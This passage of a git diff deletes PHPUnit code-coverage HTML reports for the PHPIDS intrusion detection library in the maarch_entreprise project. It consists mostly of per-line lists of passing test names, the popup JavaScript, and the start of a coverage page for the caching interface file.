class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li><li class=\"testPassed\">testCachingFileGetCache(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel167": { - "header": "43 tests cover line 167", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li><li class=\"testPassed\">testCachingFileGetCache(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel168": { - "header": "42 tests cover line 168", - "body": "<ul><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li><li class=\"testPassed\">testCachingFileGetCache(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel169": { - "header": "42 tests cover line 169", - "body": "<ul><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li><li class=\"testPassed\">testCachingFileGetCache(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel172": { - "header": "1 test covers line 172", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel183": { - "header": "42 tests cover line 183", - "body": "<ul><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li><li class=\"testPassed\">testCachingFileGetCache(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel184": { - "header": "42 tests cover line 184", - "body": "<ul><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li><li class=\"testPassed\">testCachingFileGetCache(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel185": { - "header": "42 tests cover line 185", - "body": "<ul><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li><li class=\"testPassed\">testCachingFileGetCache(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel186": { - "header": "42 tests cover line 186", - "body": "<ul><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li><li class=\"testPassed\">testCachingFileGetCache(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel190": { - "header": "42 tests cover line 190", - "body": "<ul><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li><li class=\"testPassed\">testCachingFileGetCache(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "dummy": "" - }; - - YAHOO.phpunit.container.prepare = function (e) { - var elemId = $E.getTarget(e).id; - var line = elemId.substr(4); - var panelId = "panel" + line; - var containerId = "container" + line; - - var panelData = YAHOO.phpunit.container.panelsData[panelId]; - - var panel = new YAHOO.widget.Panel(panelId, { visible:false, draggable:false, close:true } ); - panel.setHeader(panelData["header"]); - panel.setBody(panelData["body"]); - panel.setFooter(panelData["footer"]); - panel.render(containerId); - - $E.addListener(elemId, "click", panel.show, panel, true); - $E.removeListener(elemId, "mouseover"); - }; - - function init() { - var ypc = YAHOO.phpunit.container; - for (var panelId in ypc.panelsData) { - var elemId = "line" + panelId.substr(5); - $E.addListener(elemId, "mouseover", ypc.prepare); - } - } - - $E.addListener(window, "load", init); - </script> - </body> -</html> diff --git a/apps/maarch_entreprise/tools/phpids/tests/coverage/Caching_Interface.php.html b/apps/maarch_entreprise/tools/phpids/tests/coverage/Caching_Interface.php.html deleted file mode 100755 index a56cc7e520d41caa2a07dd9b554ede23f3f5a644..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/tests/coverage/Caching_Interface.php.html +++ /dev/null @@ -1,228 +0,0 @@ -<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> - -<html lang="en"> - <head> - <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> - <title>PHPIDS</title> - <link rel="stylesheet" type="text/css" href="style.css"> - <link rel="stylesheet" type="text/css" href="container.css"> - <script type="text/javascript" src="yahoo-dom-event.js"></script> - <script type="text/javascript" src="container-min.js"></script> - </head> - - <body class="yui-skin-sam"> - <table width="100%" border="0" cellspacing="0" cellpadding="0"> - <tr><td class="title">PHPIDS</td></tr> - <tr><td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td></tr> - - <tr> - <td width="100%"> - <table cellpadding="1" border="0" width="100%"> - <tr> - <td class="headerItem" width="20%">Current file:</td> - <td class="headerValue" width="80%"><a href="index.html">/home/lstrojny/Projekte/php-ids/trunk/lib/IDS</a>/<a href="Caching.html">Caching</a>/<a href="Caching_Interface.php.html">Interface.php</a></td> - </tr> - <tr> - <td class="legendItem" width="20%">Legend:</td> - <td class="legendValue" width="80%"> - <span class="legendCov">executed</span> - <span class="legendNoCov">not executed</span> - <span class="legendDeadCode">dead code</span> - </td> - </tr> - </table> - </td> - </tr> - - <tr> - <td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td> - </tr> - </table> - - <br /> - - <center> - <table width="90%" cellpadding="2" cellspacing="1" border="0"> - <tr> - <td class="tableHead" width="30%"> </td> - <td class="tableHead" colspan="9">Coverage</td> - </tr> - <tr> - <td class="tableHead"> </td> - <td class="tableHead" colspan="3">Classes</td> - <td class="tableHead" colspan="3">Methods</td> - <td class="tableHead" colspan="3">Lines</td> - </tr> - <tr> - <td class="coverItem">Total</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">0 / 0</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">0 / 0</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - </tr> - - <tr> - <td class="tableHead" colspan="10"> </td> - </tr> - - </table> - </center> - - <br /> - - <table cellpadding="0" cellspacing="0" border="0"> - <tr> - <td><br /></td> - </tr> - <tr> - <td> -<pre class="source"> -<span class="lineNum" id="container1"><a name="1"></a><a href="#1" id="line1"> 1</a> </span> : <?php -<span class="lineNum" id="container2"><a name="2"></a><a href="#2" id="line2"> 2</a> </span> : -<span class="lineNum" id="container3"><a name="3"></a><a href="#3" id="line3"> 3</a> </span> : /** -<span class="lineNum" id="container4"><a name="4"></a><a href="#4" id="line4"> 4</a> </span> : * PHPIDS -<span class="lineNum" id="container5"><a name="5"></a><a href="#5" id="line5"> 5</a> </span> : * -<span class="lineNum" id="container6"><a name="6"></a><a href="#6" id="line6"> 6</a> </span> : * Requirements: PHP5, SimpleXML -<span class="lineNum" id="container7"><a name="7"></a><a href="#7" id="line7"> 7</a> </span> : 